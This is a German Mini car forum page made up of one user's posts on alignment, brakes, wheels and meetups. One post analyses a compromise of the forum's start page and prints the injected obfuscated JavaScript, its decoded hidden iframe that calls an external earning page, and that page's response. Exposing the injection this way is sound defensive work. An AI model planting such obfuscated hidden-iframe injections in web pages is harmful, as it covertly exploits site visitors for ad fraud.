Doch, leider. Ist eigentlich auch schon längers bekannt. Selbst deren Werkstestwagen auf der Nordschleife hatte mächtig Feuer unter'm Hintern.
Hmm, und wieso bekommt sowas eine Zulassung? ![]()
Grüße
Andreas
Doch, leider. Ist eigentlich auch schon längers bekannt. Selbst deren Werkstestwagen auf der Nordschleife hatte mächtig Feuer unter'm Hintern.
Hmm, und wieso bekommt sowas eine Zulassung? ![]()
Grüße
Andreas
Moin,
moin moin,
bin gerade auf der suche nach einer kompetenten Werkstatt, die mir die spur einstellen können... kann mir da jemand etwas in Hannover empfehlen?
grüße
vor dem Spureinstellen aber sicherstellen, das Achsschenkelbolzen, Spurstangenköpfe, Radlager, Zugstreben, Schwingen hinten etc. kein Spiel haben, sonst ist das rausgeschmissenes Geld. Die Fahrzeughöhe, sofern einstellbar, sollte auch vorher eingestellt werden.
Was ist der Grund für die Einstellung? Hast du dran gearbeitet und Teile getauscht, oder sind nur die Reifen schräg abgelaufen?
Grüße
Andreas
Hi,
öhm, wo findet das nächste treffen am 10.12 statt? weihnachtsmarkt?
ich zitiere mal Daniels Mail:
ZitatMoin alle zusammen.
Der letzte Mini-Stammtisch dieses Jahr bahnt sich an. Und wie jedes Jahr werden wir uns wieder auf den Weihnachtsmarkt begeben und das Jahr mit ein paar erhitzten Traubensäften mit Weihnachts-Gewürzen ausklingen lassen. Dieses Jahr ist wieder der Weihnachtsmarkt in der Altstadt dran.
Wann? Am Dienstag, den 10.12. um 19 Uhr.
Wo? Vorm historischen Museum.Ich würde mich freuen, ein paar alt bekannte Gesichter wiederzusehen. Viele von Euch kennen unsere großartige neue Stammtisch-Lokation noch gar nicht. Also wann passt es besser, als bei wärmenden Getränken Benzin und Blech zu reden und sich über Neuigkeiten auszutauschen.
Ich frei mich auf Euch.
Minifizierte Grüße,
Daniel
Viele Grüße
Andreas
...
Lösung: Zündung des Zylinders wird abgeschaltet.
Spritzufuhr nicht (!). Kat suppt voll mit Schiprit und entzündet sich.
...
Hmmm, das ist nicht wahr, oder? *facepalm*
Grüße
Andreas
Kann halt nich jeder sone geile Karre haben wie du!:D;)
Eben!
Da hat man wenigstens was zu tun.
Hmmm...
Grüße
Andreas
Die alten Axton Lautsprecher waren gar nicht mal schlecht, und auch nicht das billigste. Aber guck mal unter den Stoff, die matt-klaren Membranen sind unter dem Sonnenlicht im Auto gerne mit der Zeit zerbröselt...
Grüße
Andreas
P.S.: Nach weniger als 48 Stunden bei deinen Anzeigen "hoch damit" zu posten finde ich etwas vermessen...
Tscha. Und all die 911er, Cayennes, X6, X5, Panameras.... schau sie dir doch an: der Anteil derer, die nicht geleast sind, dürfte sehr sehr klein sein. Also ranzt du die Kiste in 3 Jahren runter und nach dir die Sintflut. In den ersten 3 Jahren hält der Hersteller die Hand drüber und danach? Die arme Sau, die die Kiste dann kauft.
Hmmmgenau. Wegwerfgesellschaft halt. :thumpsup:![]()
Grüße
Andreas
Hi,
danke für die Antworten. Probleme gibt's eigentlich keine, ich hatte nur kurz den Eindruck, daß die eloxierten, CNC-gefrästen Sättel nicht gerade "historisch" aussehen. Aber soweit ich weiß gibt's bei den Vorgaben für H-Kennzeichen eh Ausnahmen zu Dingen, die die Sicherheit verbessern. Und die KAD-Sättel gibt's ja auch schon sehr lange, wenn auch die frühen noch gegossen waren, und nicht gefräst.
Sorry, wenn ich Panik verbreitet haben sollte.
Grüße
Andreas
Ich glaube, wenn man die Entlüfternippel mit Bremsenmontagepaste montiert und auch regelmäßig benutzt (!), dann gammeln auch die verzinkten nicht fest... ![]()
Grüße
Andreas
Hi,
fährt hier jemand die gefrästen KAD-Vierkolbensättel an einem Auto mit H-Kennzeichen?
Grüße
Andreas
Na, dann wünsche ich alles Gute und "allzeit gute Fahrt" mit dem Neuzugang! :thumpsup:
Grüße
Andreas
Arrgh, Mistlogik des Forums beim Links einbinden... ![]()
Nochmal. Also, ruft das Forum über diesen Link auf: https://www.mini-forum.de/index.php/
Dann könnt ihr eure Virenscanner auch anlassen. Denn, wenn man die sowieso abschaltet wenn sie was rausfiltern, dann braucht man die eigentlich auch gar nicht... :p;)
Grüße
Andreas
Schmeisst aber wenigstens die zusätzliche Indexseite mal raus. Danach kann man sich dann mal überlegen, wie die da hingekommen ist.
Grüße
Andreas
Edit: vielleicht noch ein kleiner Workaround für alle, wenn ihr nicht möchtet das jemand an euren Klicks verdient. Ruft einfach das Forum über https://www.mini-forum.de/index.php auf, setzt euch ein Bookmark darauf. Der Mechnismus, den die Virenscanner z.T. erkennen ist nur aktiv, wenn man https://www.mini-forum.de aufruft. Alles andere unterhalb der Startseite scheint den Mechanismus nicht einzubinden.
Nicht unbedingt bevor sich ein Admin die Sache angeschaut hat.
Grüße
Andreas
Wenn du ein 12-Zöller auf 10 Zoll umrüstest durch eine andere Bremsanlage und du Felgen mit ähnlicher Breite und Einpresstiefe wie die 12-Zoll Felgen nimmst, dann stehen die Räder auch vergleichbar in den Radhäusern. Wenn du also die Standard-12"-Verbreiterungen dranlässt geht das und das sieht auch vergleichbar aus.
Du kannst auch etwas breiter werden, z.B. durch 5" breite Felgen anstatt der serienmässigen 4,5" - bei vergleichbarer Einpresstiefe.
Wenn du aber 6x10" oder 7x10" mit Einpresstiefe nahe Null nimmst, dann passt es ohne Nacharbeiten, Radhaus ausschneiden und andere Verbreiterungen nicht mehr.
Achte darauf, das deine neue 10"-Bremse legalisierbar ist, da bietet sich die Bremse des Inno Coopers an, bzw. die "Cooper S"-Bremse.
Grüße
Andreas
ZitatDer Exploit betreffe vBulletin 4 und 5 ermögliche kompletten Zugriff auf die Datenbank des Servers.
Nur das hier noch Version 3.6.7 läuft...
Grüße
Andreas
Virenscanner ist da eigentlich die falsche Baustelle, da wird auf deinem Rechner nichts infiziert. Da hat halt ein dritter Zugriff auf den Forenserver und ein Schnipsel eingebaut, so daß er bei jeden Zugriff auf die Startseite Geld durch (unsichtbare) Aufrufe von Werbung verdient.
Grüße
Andreas
Okay, das riecht komisch:
ZitatAlles anzeigencurl -i https://www.mini-forum.de/
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2013 09:09:30 GMT
Server: Apache
Last-Modified: Fri, 22 Nov 2013 01:46:42 GMT
ETag: "151d297-1fd-528eb782"
Accept-Ranges: bytes
Content-Length: 509
Connection: close
Content-Type: text/html<META http-equiv="refresh" content="4;URL=http://mini-forum.de/index.php">
Big Server Load, Please wait 4seconds...
<script type='text/javascript'>
<!--
var s="=jgsbnf!tsd>#iuuq;00ss/kf0fbso/qiq#!xjeui>1!ifjhiu>1!tuzmf>#ijeefo#!gsbnfcpsefs>1!nbshjoifjhiu>1!nbshjoxjeui>1!tdspmmjoh>op?=0jgsbnf?";
m=""; for (i=0; i<s.length; i++) { if(s.charCodeAt(i) == 28){ m+= '&';} else if (s.charCodeAt(i) == 23) { m+= '!';} else { m+=String.fromCharCode(s.charCodeAt(i)-1); }}document.write(m);//-->
Was passieren soll ist, das folgendes in die Seite eingebettet wird:
Zitat<iframe src="http://rr.je/earn.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
Da wird also bei jedem Aufruf der Startseite des Forums ein externer Frame eingebaut, und dann auf die eigentliche Startseite weitergeleitet.
Immerhin bedankt sich derjenige, der an der Einbettung verdient, ordentlich:
ZitatAlles anzeigencurl -i http://rr.je/earn.php
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2013 09:20:01 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.9-4ubuntu2.3
Vary: Accept-Encoding
Content-Length: 628
Content-Type: text/html<html>
<title>YOUNG CHANG JUST EARNED 0,001 USD</title><body>
Thank you for visiting this page and helping Mr. Young Chang earning money.<br></br>
We would like to see you a client one day, but for now our registration is closed.
</body>
<br>
<p>
</p>
<iframe data-aa='9838' src='//ad.a-ads.com/9838?size=990x90' scrolling='no' style='width:990px; height:90px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
<iframe data-aa='9851' src='//ad.a-ads.com/9851?size=728x90' scrolling='no' style='width:728px; height:90px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
</html>
![]()
Ähem, Admins? Handeln!
Grüße
Andreas
Oh mein Gott:
http://www.heise.de/autos/artikel/…en-1717729.html![]()
Ich hab ein bisschen Angst mit dem Auto nach Hause zu fahren, wenn sowas unterwegs ist...
Grüße
Andreas